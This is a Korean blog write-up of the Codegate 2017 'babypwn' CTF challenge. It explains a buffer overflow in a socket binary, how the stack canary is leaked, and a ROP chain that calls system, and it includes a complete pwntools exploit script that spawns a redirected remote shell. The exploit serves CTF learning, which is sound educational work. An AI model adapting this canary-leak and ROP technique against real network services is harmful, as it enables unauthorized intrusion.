본문 바로가기
pwnable/ctf

[write-up]Codegate 2017 babypwn

by Ryuuu 2018. 1. 31.

코드게이트를 앞두고 옛날에 풀었던 babypwn을 다시 풀어봤다.



먼저 바이너리를 확인해보니 32비트 바이너리였다.




보호기법은 canary와 nx가 걸려있었다. 




소켓 프로그램이었으며 디폴트 포트는 8181이었다. 또한 argv로 포트를 지정할 수 있었다.



send와 recv로 메시지를 쓸 수 있는 프로그램이었다.




그런데 메시지를 쓸 때 정해진 배열보다 많은 입력을 받아서 bof가 발생한다.



send로 출력하기 때문에 카나리 위치+1까지 버퍼를 덮어씌우면 카나리 릭 또한 가능하다.



system 함수가 사용되었기 때문에 system plt를 쓸 수 있다.


소켓 프로그램이므로 /bin/sh가 아닌 리다이렉션을 해서 /bin/sh <&4 >&0을 넣으면 된다.



payload


 
# usr/bin/env python
# ryuuu

from pwn import *
import sys

elf = ELF("./babypwn")

recv_plt = elf.plt["recv"]
system_plt = elf.plt["system"]

binsh = "/bin/sh <&4 >&0"

s = remote("0",1212)

s.sendlineafter("menu > ","1")

s.sendafter("Message : ","A"*41)

s.recvuntil("A"*41)

canary = u32("\x00"+s.recv(3))

log.info("canary	:"+hex(canary))

s.sendlineafter("menu > ","1")

pop4ret = 0x8048eec

payload = "A"*40
payload += p32(canary)
payload += "A"*12
payload += p32(recv_plt)
payload += p32(pop4ret)
payload += p32(0x4)
payload += p32(0x0804B1B4) #bss addr
payload += p32(0x10)
payload += p32(0x0)
payload += p32(system_plt)
payload += "AAAA"
payload += p32(0x804B1B4)

s.sendlineafter("Message : ",payload)

s.sendlineafter("> ","3")
s.sendline(binsh)

s.interactive()


'pwnable > ctf' 카테고리의 다른 글

[write-up] 2018 codegate - BaskinRobins31  (0) 2018.02.06
[write-up] 2017 white_league-start  (0) 2018.02.05
[write-up] 2016 hdcon - pwnit  (0) 2018.01.29
[write-up] 2015 defcon - r0pbaby  (0) 2018.01.28
[write-up] 2017 samsung ctf - msg  (4) 2018.01.28

댓글